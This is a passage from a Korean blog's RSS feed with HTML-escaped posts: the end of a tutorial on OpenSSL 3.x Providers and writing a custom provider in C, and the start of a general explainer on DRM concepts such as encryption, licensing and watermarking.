&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;height: 18px; text-align: center;&quot;&gt;&lt;b&gt;null&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;어떤 암호 기능도 제공하지 않는 빈 Provider (주로 테스트용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Provider의 동작 방식&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;OpenSSL은 실행 시 또는 설정 파일 (openssl.cnf)에서 로드할 Provider를 지정합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 알고리즘 요청 &amp;rarr; OpenSSL은 등록된 Provider 목록을 탐색 &amp;rarr; 해당 알고리즘을 제공하는 Provider에서 구현을 가져옴&lt;/li&gt;
&lt;li&gt;따라서 어떤 Provider를 로드하느냐에 따라 OpenSSL의 기능과 보안 수준이 달라질 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;간단한 예: Provider 사용&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;# FIPS Provider 로드 예제
export OPENSSL_MODULES=/usr/local/lib/ossl-modules
openssl list -providers

# 특정 Provider를 명시적으로 로드하는 코드 예제 (C)
OSSL_PROVIDER *provider = OSSL_PROVIDER_load(ctx, &quot;fips&quot;);
if (provider == NULL) {
    fprintf(stderr, &quot;FIPS provider load failed\n&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;외부 Provider 예시&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;1. &lt;/span&gt;&lt;b&gt;OpenSSL FIPS Provider&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(OpenSSL 공식)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OpenSSL 팀이 직접 제공하는 FIPS 140-2 인증용 Provider&lt;/li&gt;
&lt;li&gt;기존에는 별도 FIPS 모듈로 제공되었지만, 3.x부터는 Provider 형태로 통합됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;2. &lt;/span&gt;&lt;b&gt;Open Quantum Safe (OQS) Provider&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;양자내성암호(Post-Quantum Cryptography) 알고리즘을 OpenSSL에서 쓸 수 있게 해주는 Provider&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openquantumsafe.org&quot;&gt;https://openquantumsafe.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Dilithium, Kyber 등 NIST PQC 최종 후보 알고리즘을 OpenSSL에서 바로 실험할 수 있도록 지원.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;3. &lt;/span&gt;&lt;b&gt;SoftHSM + PKCS#11 Provider&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하드웨어 보안 모듈(HSM)이나 소프트웨어 HSM에서 제공하는 PKCS#11 인터페이스와 연결되는 Provider&lt;/li&gt;
&lt;li&gt;예: OpenSC 프로젝트, SoftHSM 등과 연동해 키 관리.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;4. &lt;/span&gt;&lt;b&gt;Intel QAT (QuickAssist) Provider&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Intel QAT 하드웨어 가속 기능을 OpenSSL에서 사용하도록 만든 Provider&lt;/li&gt;
&lt;li&gt;AES, RSA, ECDSA 등 연산을 QAT 장치로 오프로드.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;5. &lt;/span&gt;&lt;b&gt;NVIDIA GPU Provider (실험적)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;NVIDIA GPU를 이용해 OpenSSL 암호 연산을 가속하는 Provider (주로 연구용, 아직 널리 사용되지는 않음).&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;커스텀 Provider 구현 방법&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;커스텀 Provider의 기본 구성&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;커스텀 Provider를 만들려면 크게 다음 요소가 필요합니다:&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;1. &lt;/span&gt;&lt;b&gt;Provider 엔트리 포인트&lt;/b&gt;&lt;br /&gt;&amp;rarr; OpenSSL이 이 모듈을 로드할 때 호출할&lt;span&gt;&amp;nbsp;&lt;/span&gt;OSSL_provider_init()&lt;span&gt;&amp;nbsp;&lt;/span&gt;함수를 구현해야 합니다.&lt;/p&gt;
&lt;pre class=&quot;cs&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;int OSSL_provider_init(const OSSL_CORE_HANDLE *handle,
                       const OSSL_DISPATCH *in,
                       const OSSL_DISPATCH **out,
                       void **provctx);
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 함수는:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OpenSSL 코어 핸들&lt;span&gt;&amp;nbsp;&lt;/span&gt;handle과&lt;/li&gt;
&lt;li&gt;Provider가 코어에 제공할 함수 목록&lt;span&gt;&amp;nbsp;&lt;/span&gt;out을 세팅하고&lt;/li&gt;
&lt;li&gt;Provider 내부 상태를 담은 컨텍스트&lt;span&gt;&amp;nbsp;&lt;/span&gt;provctx를 초기화합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;DISPATCH 테이블&lt;/b&gt;&lt;br /&gt;&amp;rarr; Provider가 제공하는 기능들을&lt;span&gt;&amp;nbsp;&lt;/span&gt;OSSL_DISPATCH&lt;span&gt;&amp;nbsp;&lt;/span&gt;배열로 선언합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예:&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;static const OSSL_DISPATCH my_provider_dispatch_table[] = {
    { OSSL_FUNC_PROVIDER_GETTABLE_PARAMS, (void (*)(void)) my_gettable_params },
    { OSSL_FUNC_PROVIDER_GET_PARAMS, (void (*)(void)) my_get_params },
    { OSSL_FUNC_PROVIDER_QUERY_OPERATION, (void (*)(void)) my_query_operation },
    { OSSL_FUNC_PROVIDER_TEARDOWN, (void (*)(void)) my_teardown },
    { 0, NULL }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;3. &lt;/span&gt;&lt;b&gt;알고리즘 등록&lt;/b&gt;&lt;br /&gt;Provider는&lt;span&gt;&amp;nbsp;&lt;/span&gt;my_query_operation()&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 함수에서 OpenSSL에게&lt;br /&gt;&amp;ldquo;나는 이 연산(digest,&lt;span&gt;&amp;nbsp;&lt;/span&gt;cipher,&lt;span&gt;&amp;nbsp;&lt;/span&gt;signature, &amp;hellip;)에 대해 이런 알고리즘들을 제공해&amp;rdquo;라고 알려줍니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예:&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;static const OSSL_ALGORITHM my_digests[] = {
    { &quot;MYHASH&quot;, &quot;provider=myprovider&quot;, myhash_functions },
    { NULL, NULL, NULL }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;각 항목은:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;알고리즘 이름 (예:&lt;span&gt;&amp;nbsp;&lt;/span&gt;MYHASH)&lt;/li&gt;
&lt;li&gt;프로퍼티 스트링 (예:&lt;span&gt;&amp;nbsp;&lt;/span&gt;provider=myprovider)&lt;/li&gt;
&lt;li&gt;함수 테이블 (예:&lt;span&gt;&amp;nbsp;&lt;/span&gt;myhash_functions)&lt;br /&gt;로 구성됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4. &lt;b&gt;알고리즘 함수 구현&lt;/b&gt;&lt;br /&gt;예를 들어&lt;span&gt;&amp;nbsp;&lt;/span&gt;digest를 제공한다면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;newctx,&lt;span&gt;&amp;nbsp;&lt;/span&gt;freectx,&lt;span&gt;&amp;nbsp;&lt;/span&gt;init,&lt;span&gt;&amp;nbsp;&lt;/span&gt;update,&lt;span&gt;&amp;nbsp;&lt;/span&gt;final,&lt;span&gt;&amp;nbsp;&lt;/span&gt;get_params&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 함수들을 정의해 OSSL_DISPATCH&lt;span&gt;&amp;nbsp;&lt;/span&gt;테이블로 묶습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;cpp&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;static const OSSL_DISPATCH myhash_functions[] = {
    { OSSL_FUNC_DIGEST_NEWCTX, (void (*)(void)) myhash_newctx },
    { OSSL_FUNC_DIGEST_UPDATE, (void (*)(void)) myhash_update },
    { OSSL_FUNC_DIGEST_FINAL, (void (*)(void)) myhash_final },
    { OSSL_FUNC_DIGEST_FREECTX, (void (*)(void)) myhash_freectx },
    { 0, NULL }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;개발 흐름 요약&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣&lt;span&gt;&amp;nbsp;&lt;/span&gt;.c&lt;span&gt;&amp;nbsp;&lt;/span&gt;파일로 Provider 코드 작성&lt;br /&gt;2️⃣&lt;span&gt;&amp;nbsp;&lt;/span&gt;OSSL_provider_init()과 필요한 DISPATCH, ALGORITHM 테이블 정의&lt;br /&gt;3️⃣&lt;span&gt;&amp;nbsp;&lt;/span&gt;gcc -shared -fPIC -o myprovider.so myprovider.c -lcrypto로 공유 라이브러리 빌드&lt;br /&gt;4️⃣ OpenSSL에서 환경 변수 또는&lt;span&gt;&amp;nbsp;&lt;/span&gt;openssl.cnf로 모듈 경로 등록&lt;br /&gt;5️⃣&lt;span&gt;&amp;nbsp;&lt;/span&gt;OSSL_PROVIDER_load()&lt;span&gt;&amp;nbsp;&lt;/span&gt;또는&lt;span&gt;&amp;nbsp;&lt;/span&gt;openssl list -digest-algorithms&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 명령으로 테스트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;예제 구조&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;stylus&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;myprovider/
├── Makefile
├── myprovider.c      &amp;larr; 메인 구현
├── myhash.c          &amp;larr; 예: custom digest 알고리즘 구현
├── myprovider.so     &amp;larr; 빌드 후 생성되는 동적 라이브러리
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;주의할 점&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;nbsp;OpenSSL 내부 API는 잘 문서화되어 있지 않으므로, 기본 제공 Provider 소스 (예:&amp;nbsp;default,&amp;nbsp;legacy)를 참고하는 게 중요합니다.&lt;/li&gt;
&lt;li&gt;&amp;nbsp;OpenSSL 버전 간 호환성 문제에 주의해야 합니다 (예: 구조체 변경, DISPATCH 상수 추가 등).&lt;/li&gt;
&lt;li&gt;&amp;nbsp;Provider는 OpenSSL Core &amp;harr; Module 형태로 통신하므로, 반드시 명세된 API 범위 내에서만 동작해야 합니다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programming/C, C++</category>
      <category>openssl</category>
      <category>tls</category>
      <category>tls library</category>
      <category>개발</category>
      <category>보안통신</category>
      <category>오픈소스</category>
      <category>오픈소스라이브러리</category>
      <category>프로그래밍</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/29</guid>
      <comments>https://defcon.tistory.com/29#entry29comment</comments>
      <pubDate>Sat, 3 May 2025 20:09:31 +0900</pubDate>
    </item>
    <item>
      <title>DRM(Digital Rights Management 디지털저작권 관리)의 개념</title>
      <link>https://defcon.tistory.com/28</link>
      <description>&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;DRM의 주요 목적&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;불법 복제 및 배포 방지&lt;/li&gt;
&lt;li&gt;콘텐츠의 사용 범위를 제한 (예: 특정 기기에서만 재생 가능)&lt;/li&gt;
&lt;li&gt;사용자에게 라이선스 기반의 접근 제공 (예: 구독 기간 동안만 사용 가능)&lt;/li&gt;
&lt;li&gt;저작권자의 수익 보호&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;어디에 사용되나?&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;음악&lt;/b&gt;&lt;/span&gt;: Spotify, Apple Music, 멜론 같은 스트리밍 서비스&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;영화/영상&lt;/b&gt;&lt;/span&gt;: Netflix, Disney+, YouTube Premium&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;전자책&lt;/b&gt;&lt;/span&gt;: Kindle, 리디북스&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;소프트웨어/게임&lt;/b&gt;&lt;/span&gt;: MS Office, Adobe Creative Cloud, Steam, Xbox&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;문서/자료&lt;/b&gt;&lt;/span&gt;: 기업용 문서 관리, 보안 문서 배포&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;작동 방식&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;1️⃣&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;콘텐츠 암호화&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;콘텐츠를 특정 알고리즘으로 암호화하여 원본 파일 자체를 보호합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;2️⃣&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;라이선스 관리&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;사용자가 해당 콘텐츠에 접근하려면 라이선스 키나 인증이 필요합니다. 예: 유료 구독, 일회성 구매, 대여 등.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;3️⃣&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;사용 조건 설정&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;사용자의 행위를 제어합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복사/붙여넣기 제한&lt;/li&gt;
&lt;li&gt;출력 제한&lt;/li&gt;
&lt;li&gt;특정 기기/계정에서만 재생&lt;/li&gt;
&lt;li&gt;오프라인 사용 기간 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;4️⃣&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;인증 및 모니터링&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;서버에서 정기적으로 라이선스를 확인하거나, 위반 시 접근을 차단합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;DRM의 장단점&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;장점&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;저작권 보호: 창작자와 기업의 수익을 보호&lt;/li&gt;
&lt;li&gt;시장 질서 유지: 불법 다운로드와 복제로 인한 피해 최소화&lt;/li&gt;
&lt;li&gt;수익 모델 다양화: 대여, 구독, 구매 등 다양한 서비스 제공 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단점&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자 불편: 합법적으로 구매한 사람도 DRM 때문에 불편함 (예: 다른 기기에서 못 씀)&lt;/li&gt;
&lt;li&gt;기술적 문제: DRM 해제(크랙) 시 보안 무력화&lt;/li&gt;
&lt;li&gt;장기 보존 문제: DRM 서버가 중단되면 정품 사용자가 콘텐츠 접근 불가&lt;/li&gt;
&lt;li&gt;비판: 일부에서는 DRM이 소비자 권리를 침해한다고 비판&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;&lt;b&gt;DRM에서 실제로 사용되는 구체적인 기술&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&amp;nbsp;암호화 (Encryption)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DRM의 기본 뼈대는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;콘텐츠 암호화&lt;/b&gt;&lt;/span&gt;입니다.&lt;/li&gt;
&lt;li&gt;콘텐츠(예: 영화 파일, 음악 파일)를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;대칭키 암호화&lt;/b&gt;&lt;/span&gt;(AES, DES 등)로 암호화합니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;대칭키 방식은 암호화와 복호화에 같은 키를 사용합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;사용자가 콘텐츠를 재생할 때, DRM 시스템이 해당 키를 제공해 복호화하도록 합니다.&lt;/li&gt;
&lt;li&gt;이 키는 보통 서버에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;라이선스 체크&lt;/b&gt;&lt;/span&gt;를 통과한 사용자에게만 전송됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&amp;nbsp;라이선스 관리 및 인증 (License Management &amp;amp; Authentication)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DRM 시스템은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;라이선스 서버&lt;/b&gt;&lt;/span&gt;를 통해 사용자의 권한을 관리합니다.&lt;/li&gt;
&lt;li&gt;사용자가 콘텐츠를 실행하면:
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;기기 또는 계정 정보가 DRM 서버로 전송됨.&lt;/li&gt;
&lt;li&gt;유효한 구매/구독 정보가 있는지 확인.&lt;/li&gt;
&lt;li&gt;조건에 맞으면 복호화 키 제공.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;이때 기기 인증, 사용자 계정 인증, 하드웨어 바인딩 등이 적용됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;워터마킹 (Watermarking)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;워터마킹은 콘텐츠 자체에 눈에 보이거나 안 보이는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;식별 정보&lt;/b&gt;&lt;/span&gt;를 삽입하는 기술입니다.&lt;/li&gt;
&lt;li&gt;예: 영상에 특정 구매자의 ID, 구매 일시, 시리얼 넘버를 암호화된 형태로 삽입.&lt;/li&gt;
&lt;li&gt;이 정보로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;유출 경로 추적&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;가능.&lt;/li&gt;
&lt;li&gt;장점: 암호화와 달리 재생에 영향 없음, 복제 후에도 추적 가능.&lt;/li&gt;
&lt;li&gt;단점: 고해상도 복제나 필터링으로 제거될 가능성.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;접근 제어 및 권한 관리 (Access Control)&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DRM은 단순히 복호화만 허용하는 게 아니라:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복사 방지 (예: 클립보드, 프린트 스크린 차단)&lt;/li&gt;
&lt;li&gt;공유 방지 (예: 특정 기기 외 재생 금지)&lt;/li&gt;
